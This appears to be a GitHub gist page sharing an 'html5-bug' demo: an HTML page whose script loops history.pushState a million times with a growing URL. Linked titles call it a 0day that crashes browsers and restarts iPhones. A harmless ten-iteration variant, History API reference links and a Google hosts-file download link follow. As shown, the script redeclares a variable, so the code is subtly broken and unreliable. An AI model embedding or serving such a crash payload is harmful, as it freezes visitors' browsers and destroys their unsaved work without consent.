-
-
Save xgqfrms-GitHub/a832eb33f702d7c2df2802fc875ac832 to your computer and use it in GitHub Desktop.
html5-bug
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="UTF-8"> | |
<title>html5-bug</title> | |
</head> | |
<body> | |
<div> | |
<h1>demo:(温馨提示:请保存浏览器其它窗口的编辑任务)</h1> | |
<a href="www.0xroot.cn/demo.html">www.0xroot.cn/demo.html (点击一下,又不会怀孕!)</a> | |
<a href="https://laod.cn/tag/html5-bug/">https://laod.cn/tag/html5-bug/</a> | |
</div> | |
<script> | |
let total = ""; | |
for (let i = 0; i < 1000000; i++){ | |
total += i.toString(); | |
history.pushState(0,0,total); | |
} | |
// https://laod.cn/tag/chrome/ | |
// https://laod.cn/tag/chrome/0123456789 | |
let total = ""; | |
for (let i = 0; i < 10; i++){ | |
total += i.toString(); | |
history.pushState(0,0,total); | |
} | |
</script> | |
</body> | |
</html> |
let total = "#";
for (let i = 0; i < 10; i++){
total += i.toString();
history.pushState(0,0,total);
}
history 对象
http://javascript.ruanyifeng.com/bom/history.html
操纵浏览器的历史记录
https://developer.mozilla.org/zh-CN/docs/DOM/Manipulating_the_browser_history
HTML5 简介(三):利用 History API 无刷新更改地址栏
https://www.renfei.org/blog/html5-introduction-3-history-api.html
HTML5之pushstate、popstate操作history,无刷新改变当前url
ajax与HTML5 history pushState/replaceState实例
http://www.zhangxinxu.com/wordpress/2013/06/html5-history-api-pushstate-replacestate-ajax/
再详解history.pushState和history.replaceState以及page ajax的实现
http://www.tangshuang.net/2287.html
Using the HTML5 History API
https://css-tricks.com/using-the-html5-history-api/
https://stackoverflow.com/questions/17612307/pushstate-what-exactly-is-the-state-object-for
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
laod.cn Google hosts
2016 Google hosts 持续更新【更新于:2017-05】
https://laod.cn/hosts/2016-google-hosts.html
https://laod.cn/hosts/2017-google-hosts.html
https://iiio.io/download/20170509/
提取码:https 解压密码:laod.cn
Windows 开始 -> 运行 -> 输入cmd -> 在CMD窗口输入: ipconfig /flushdns
代码审计
https://laod.cn/code-audit/how-does-google-find-our-pages.html
https://laod.cn/code-audit/jquery-is-not-a-function.html
https://laod.cn/code-audit/linux-file-permissions.html
https://laod.cn/code-audit/google-search-results-py-script.html
https://laod.cn/code-audit/nginx-google-fonts-ajax-gravatar-reverse-proxy.html
https://laod.cn/code-audit/html5-bug-crash-firefox-chrome-safari-browsers-and-also-restart-iphone-using-this-javascript-code-dos-0day-exploit.html
https://laod.cn/news/google-https-chrome-62.html
https://laod.cn/tools/google-chrome-57.html
https://laod.cn/news/firefox-chrome-bug.html
https://laod.cn/tools/10-best-chrome-extensions.html
https://www.w3schools.com/browsers/default.asp
https://laod.cn/news/chrome-vr-webvr.html
https://laod.cn/news/chrome-flash.html
movie
https://laod.cn/movie/mr-robot-s02.html
https://laod.cn/movie/mr-robot.html